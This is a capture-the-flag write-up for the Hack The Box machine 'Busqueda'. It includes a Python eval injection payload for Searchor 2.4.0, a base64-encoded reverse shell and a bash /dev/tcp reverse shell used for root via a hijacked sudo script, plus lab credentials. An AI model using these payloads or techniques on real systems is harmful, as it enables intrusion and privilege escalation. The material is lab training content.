> For the complete documentation index, see [llms.txt](https://writeups.greatmoves.xyz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://writeups.greatmoves.xyz/hackthebox/busqueda.md).

# Busqueda

Write up for the HTB machine 'Busqueda'

## 1. Inital Recon

### 1.1. nikto

`seacher.htb` -> add this to /etc/hosts

### 1.2. nmap

cmd: `nmap -sC -sV 10.10.11.208`

port 22 ssh port 80 http apache

### 1.3. domain recon

We can see at the bottom of the page that the web application is powered by Seachor 2.4.0

Which contains a RCE vulnerability that can be found at: `https://github.com/ArjunSharda/Searchor/pull/130/files`

If we capture the request using burp suite we can replace the query of the post request with the following python code to achieve RCE

```python
a',print(eval('__import__(\"subprocess\").getoutput(\"pwd\")')))#
```

Encoding our reverse shell using base64

{% code overflow="wrap" %}

```python
a',print(eval('__import__(\"subprocess\").getoutput(\"echo c2ggLWkgPiYgL2Rldi90Y3Ave0lQfS80NDQ0IDA+JjE= | base64 -d | bash \")')))#
```

{% endcode %}

After catching our reverse shell using a netcat listener we can do some recon on the file system of the web application

`/var/www/app/.git/config` contains some credentials for a gitea in the following URL: `http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git`

```
cody:jh1usoih2bkjaspwe92
```

## 2. Privilege Escalation

`sudo -l`

we can use `jh1usoih2bkjaspwe92` as the sudo password and ssh password so we no longer need our reverse shell

```
User svc may run the following commands on busqueda:
    (root) /usr/bin/python3 /opt/scripts/system-checkup.py *
```

add `gitea.searcher.htb` to /etc/hosts

log into gitea as cody with above credentials

by looking through the gitea repository we can see that there is an administrator user

Credentials are found using the docker-inspect commands that we are allowed to run with sudo permissions as our user Cody

```
sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect --format='{{json .Config}}' f84a6b33fb5a
sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect --format='{{json .Config}}' 960873171e2e
```

login to the gitea using

```
administrator:yuiu1hoiu4i5ho1uh 
```

On the gitea we can see in `system-checkup.py` that a script called `./full-checkup.sh` is run by one of the commands

If we create our own `./full-checkup.sh` in any directory that isn't `/opt/scripts/` and run the above sudo command from where our own script is, then our script will be run instead of the one that is intended.

So we place a `./full-checkup.sh` with the following bash code for another reverse shell but this time we will be root :)

```bash
!/bin/bash echo "hello root" bash -i >& /dev/tcp/{IP}/4444 0>&
```

Finally, run the sudo command with full-checkup option whilst having a netcat listener to catch the reverse shell.